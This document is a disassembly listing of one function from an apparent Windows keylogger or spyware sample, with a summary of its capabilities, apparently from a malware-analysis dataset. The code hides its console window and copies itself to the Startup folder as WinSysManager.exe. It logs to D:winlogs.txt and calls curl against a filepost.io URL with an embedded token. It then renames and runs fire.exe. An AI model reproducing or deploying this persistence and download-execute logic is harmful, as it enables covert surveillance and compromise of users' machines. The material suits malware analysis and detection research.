Function at 0x401927
Capabilities:
Copy file
Execute command
Hide graphical window
Move file
Query environment variable
Write and execute a file
Write file on windows

Disassembly:
push rbp
sub rsp, 0x720
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x698], rax
mov rax, qword [rbp + 0x698]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0x570]
mov r8d, 0x104
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rcx, str.APPDATA
call sym.getenv
mov qword [rbp + 0x690], rax
mov rdx, qword [rbp + 0x690]
lea rax, [rbp + 0x460]
mov r8, rdx
lea rdx, str._sMicrosoftWindowsStart_MenuProgramsStartupWinSysManager.exe
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0x460]
lea rax, [rbp + 0x570]
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CopyFileA]
call rax
test eax, eax
jne 0x4019e5
lea rcx, str.Failed_to_copy_program_to_Windows_startup_folder.
call sym.puts
movabs rax, 0x676f6c7379733a44
mov qword [rbp + 0x70], rax
movabs rax, 0x7478742e73
mov qword [rbp + 0x78], rax
lea rax, [rbp + 0x80]
mov edx, 0x3d8
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
movabs rax, 0x74736d6f646e6172
mov qword [rbp + 0x62], rax
mov dword [rbp + 0x6a], 0x676e6972
mov word [rbp + 0x6e], 0x31
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x688], rax
lea rax, [rbp + 0x10]
mov r8d, 0x50
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x10], 0x50
lea rax, [sym.wp]
mov qword [rbp + 0x18], rax
mov rax, qword [rbp + 0x688]
mov qword [rbp + 0x28], rax
lea rax, [rbp + 0x62]
mov qword [rbp + 0x50], rax
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_RegisterClassExA]
call rax
test ax, ax
jne 0x401ad0
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1e
mov edx, 1
lea rcx, str.Can_not_register_window_class.
call sym.fwrite
mov eax, 0
jmp 0x401cb7
lea rax, [rbp + 0x62]
mov qword [rsp + 0x58], 0
mov rdx, qword [rbp + 0x688]
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0xfffffffffffffffd
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_CreateWindowExA]
call rax
mov qword [rbp + 0x680], rax
cmp qword [rbp + 0x680], 0
jne 0x401b7b
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x16
mov edx, 1
lea rcx, str.Can_not_create_window.
call sym.fwrite
mov eax, 0
jmp 0x401cb7
lea rdx, [0x0040511e]
lea rcx, str.D:winlogs.txt
call sym.fopen
mov rdx, rax
lea rax, [0x00408970]
mov qword [rax], rdx
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
jne 0x401bca
lea rdx, [0x0040511e]
lea rcx, str.D:winlogs.txt
call sym.fopen
mov rdx, rax
lea rax, [0x00408970]
mov qword [rax], rdx
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
jne 0x401c01
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 0x1c
mov edx, 1
lea rcx, str.Can_not_create_log.txt_file.
call sym.fwrite
lea rcx, str.curl_https:__filepost.io_streamer_token56490eba026713bb000ca64d0c68d8b3340419d8e463bee743b1d2872e138d3f_7Cw1UZ2pJxknRx_2FweLsldy2wTHJMVsZw5PqiIPmWNm9RVQZZcTzBpdLan8NJRVEpGTtXw_2FG0ZrL1WHPeJpHg3MJf2_2F0D8YqF8c2n3cVTI9toFQd68NAd0LS9tCjsqZ1mMGu_2BaD_2BmqMC9JXo8Rweset0Ubm7h4VFcljywP42TXKn4tzubaQLirTYuXv9NhG3MqCIC7Y_2F1KB__9m6DVjf46z9W4g3S__2Balspi64mHmdjHGzS6qxw_3D_3D
call sym.system
lea rdx, str.fire.exe
lea rcx, str.fire.eee
call sym.rename
test eax, eax
jne 0x401c32
lea rcx, str.File_renamed_successfully.
call sym.puts
jmp 0x401c3e
lea rcx, str.Error_renaming_file
call sym.perror
lea rcx, str.fire.exe
call sym.system
jmp 0x401c6c
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x20]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jg 0x401c4c
lea rax, [0x00408970]
mov rax, qword [rax]
test rax, rax
je 0x401cb2
lea rax, [0x00408970]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
mov eax, 0
add rsp, 0x720
pop rbp
ret